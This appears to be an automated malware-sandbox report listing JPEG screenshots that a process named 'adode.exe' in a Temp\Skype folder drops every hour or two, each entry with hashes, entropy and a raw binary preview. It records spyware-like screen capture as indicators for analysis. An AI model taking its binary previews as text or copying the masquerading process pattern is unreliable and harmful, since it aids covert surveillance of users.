Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250130_193431.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250130_202059.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	151487
Entropy (8bit):	7.9271274185609455
Encrypted:	false
SSDEEP:	3072:Q1WWdWxR2OQtMVQpYS/tGp/vNZYOA0y5vjxQsi2ly3dU:PHfPVWvgFvPYOAvIsAdU
MD5:	E182EE85FBCA73F85267ED0CCAC669AF
SHA1:	603BCBC430142196BE3A229DC98C1068D594411F
SHA-256:	053BF21EF2477BAD8A25EFE18F2B760A6442B211B63B88C4E0C38884BB9C8F8B
SHA-512:	C2624795C51F35DB91E6DB9347615D845EED25820F9BBBCB9F796277400DFA5DF1238E1B94B017E0AE52328F26A37AAC959AF89DFE0F40CA9729A46F9405BD83
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250130_222055.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	152820
Entropy (8bit):	7.925223788049085
Encrypted:	false
SSDEEP:	3072:Sil1XJ+TFruwZj65DvLhtgy9Iwj/V7HsUOFUyavFsYBFwbd6J:7HM9tZj6BvNuHwpLyaG2ywJ
MD5:	B4D1101FC103C1955DA70AE7E8085969
SHA1:	E3F026B1C9DCED6B3D6FAA999AA04351A59B49E5
SHA-256:	E757AB2EF049CF9F36880BD0E246CC7C75130677F23A3555933F03FEAF569F2E
SHA-512:	B3B69BB4F840BB7AA194BB72D8AC73FD9C6946D70231BB811FF4020C60C0BE66205B6DE628399C1C4BF3ED487D9A30EEF3F16A833E346BBEF04AA2813C94E700
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250131_000317.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	152820
Entropy (8bit):	7.925223788049085
Encrypted:	false
SSDEEP:	3072:Sil1XJ+TFruwZj65DvLhtgy9Iwj/V7HsUOFUyavFsYBFwbd6J:7HM9tZj6BvNuHwpLyaG2ywJ
MD5:	B4D1101FC103C1955DA70AE7E8085969
SHA1:	E3F026B1C9DCED6B3D6FAA999AA04351A59B49E5
SHA-256:	E757AB2EF049CF9F36880BD0E246CC7C75130677F23A3555933F03FEAF569F2E
SHA-512:	B3B69BB4F840BB7AA194BB72D8AC73FD9C6946D70231BB811FF4020C60C0BE66205B6DE628399C1C4BF3ED487D9A30EEF3F16A833E346BBEF04AA2813C94E700
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250131_010533.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	152820
Entropy (8bit):	7.925223788049085
Encrypted:	false
SSDEEP:	3072:Sil1XJ+TFruwZj65DvLhtgy9Iwj/V7HsUOFUyavFsYBFwbd6J:7HM9tZj6BvNuHwpLyaG2ywJ
MD5:	B4D1101FC103C1955DA70AE7E8085969
SHA1:	E3F026B1C9DCED6B3D6FAA999AA04351A59B49E5
SHA-256:	E757AB2EF049CF9F36880BD0E246CC7C75130677F23A3555933F03FEAF569F2E
SHA-512:	B3B69BB4F840BB7AA194BB72D8AC73FD9C6946D70231BB811FF4020C60C0BE66205B6DE628399C1C4BF3ED487D9A30EEF3F16A833E346BBEF04AA2813C94E700
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250131_014935.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250131_025505.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250131_043605.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250202_095237.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250202_112832.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250202_130339.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250202_145916.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250202_162900.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250204_213155.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250204_233130.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250205_020731.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250205_035159.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
